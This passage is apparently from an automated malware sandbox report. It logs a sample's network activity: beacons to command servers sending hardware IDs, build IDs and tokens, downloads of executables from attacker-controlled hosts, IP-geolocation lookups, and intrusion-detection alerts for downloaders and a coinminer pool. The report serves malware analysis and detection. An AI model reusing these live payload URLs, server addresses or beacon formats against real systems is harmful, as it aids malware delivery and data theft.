73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 2d 2d 0d 0a Data Ascii: ------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="message"ybncbhylepme------CBKJJEHCBAKFBFHJKFBK--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIECHost: 147.45.68.138Content-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 34 35 35 44 42 38 42 39 39 37 33 33 37 30 38 35 37 36 34 37 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 2d 2d 0d 0a Data Ascii: ------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="hwid"C1455DB8B9973370857647-a33c7340-61ca------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------IDBGHDGHCGHCAAKFIIEC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDBHost: 147.45.68.138Content-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 66 35 63 61 34 36 34 33 66 64 38 65 66 62 66 66 64 31 39 36 36 63 32 38 37 38 31 66 63 64 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="token"faf5ca4643fd8efbffd1966c28781fcd------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="mode"1------DBFBFBGDBKJJKFIEHJDB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCFHost: 147.45.68.138Content-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 66 35 63 61 34 36 34 33 66 64 38 65 66 62 66 66 64 31 39 36 36 63 32 38 37 38 31 66 63 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 2d 2d 0d 0a Data Ascii: ------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="token"faf5ca4643fd8efbffd1966c28781fcd------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="mode"2------IJJJKEGHJKFHJKFHDHCF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKECAAAFHJECAAAEBFCHost: 147.45.68.138Content-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 66 35 63 61 34 36 34 33 66 64 38 65 66 62 66 66 64 31 39 36 36 63 32 38 37 38 31 66 63 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 2d 2d 0d 0a Data Ascii: ------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="token"faf5ca4643fd8efbffd1966c28781fcd------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="mode"21------HJKECAAAFHJECAAAEBFC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAAHost: 147.45.68.138Content-Length: 7393Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJHost: 147.45.68.138Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGHHost: 193.176.190.41Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IIJJDGHJKKJEBFHJDBGH--

Source: Joe Sandbox View	IP Address: 46.8.231.109 46.8.231.109
Source: Joe Sandbox View	IP Address: 194.58.114.223 194.58.114.223
Source: Joe Sandbox View	IP Address: 194.58.114.223 194.58.114.223

Source: Joe Sandbox View

ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: ipinfo.io

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49734 -> 194.58.114.223:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49733 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49735 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49745 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49751 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.4:51377 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49782 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49790 -> 193.176.190.41:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49740 -> 76.76.21.123:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49807 -> 186.64.114.115:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49807 -> 186.64.114.115:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49810 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49812 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49813 -> 188.114.96.3:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: ipinfo.io
Source: global traffic	HTTP traffic detected: HEAD /attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb&is=66d1373b&hm=db827d28f4d7c6821853878971068131e40d06daa8979dcdddf5bd08c3f140a8& HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Cache-Control: no-cacheHost: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ffernifre.exes HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: file-link-iota.vercel.appCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb&is=66d1373b&hm=db827d28f4d7c6821853878971068131e40d06daa8979dcdddf5bd08c3f140a8& HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Cache-Control: no-cacheHost: cdn.discordapp.comConnection: Keep-AliveCookie: __cf_bm=pB2MT2JuBndTZDj6v.t1PeF7NRT.1Ec8C.VYCE1QTbQ-1724991423-1.0.1.1-nvVgJ_bCh6CJkxWChpBR1EPio68VxhcDofH2OFaFGHc3mz25sVP8cQmLYvg3Zg_kJ.QlXzlQEyi5j4.0c3o7DA; _cfuvid=UQbDXpXr6y2IFF9kS_mNS9kTpCWZzP9nljQlF0J4nhw-1724991423373-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /1cN8u7 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: yip.su
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: awwardwiqi.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: locatedblsoqp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: traineiwnqo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=Wqsw2nn4FXc8MIua1v6PhORQZ1gfxG8mnfbWl3LRzmo-1724991455-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: traineiwnqo.shop
Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: 195.10.205.48
Source: global traffic	HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Content-Length: 133Host: 195.10.205.48
Source: global traffic	HTTP traffic detected: HEAD /prog/66d0cd9a65b5d_vqwergf.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /d/525403 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 194.58.114.223Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /prog/66d0cd9755a01_sbwd.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /revada/66c6fcb30b9dd_123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /prog/66c1c5838f95f_file1808.exe#fileotr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /yuop/66d0502b12496_MKna.exe#main HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /malesa/66c9d3bd31e56_otraba.exe#kisotr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9a65b5d_vqwergf.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9755a01_sbwd.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/525403 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 194.58.114.223Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66c6fcb30b9dd_123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66c1c5838f95f_file1808.exe#fileotr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66d0502b12496_MKna.exe#main HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /malesa/66c9d3bd31e56_otraba.exe#kisotr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Content-Length: 477Host: 195.10.205.48
Source: global traffic	HTTP traffic detected: GET /4Ak49WQH0GE3Nr.mp3 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: joxi.netConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 194.58.114.223
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 194.58.114.223
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 194.58.114.223
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 194.58.114.223
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 194.58.114.223
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

11_2_00405000

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ffernifre.exes HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: file-link-iota.vercel.appCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb&is=66d1373b&hm=db827d28f4d7c6821853878971068131e40d06daa8979dcdddf5bd08c3f140a8& HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Cache-Control: no-cacheHost: cdn.discordapp.comConnection: Keep-AliveCookie: __cf_bm=pB2MT2JuBndTZDj6v.t1PeF7NRT.1Ec8C.VYCE1QTbQ-1724991423-1.0.1.1-nvVgJ_bCh6CJkxWChpBR1EPio68VxhcDofH2OFaFGHc3mz25sVP8cQmLYvg3Zg_kJ.QlXzlQEyi5j4.0c3o7DA; _cfuvid=UQbDXpXr6y2IFF9kS_mNS9kTpCWZzP9nljQlF0J4nhw-1724991423373-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /1cN8u7 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: yip.su
Source: global traffic	HTTP traffic detected: GET /karu/l2.exe HTTP/1.1Host: aldiablo.clCache-Control: no-cache
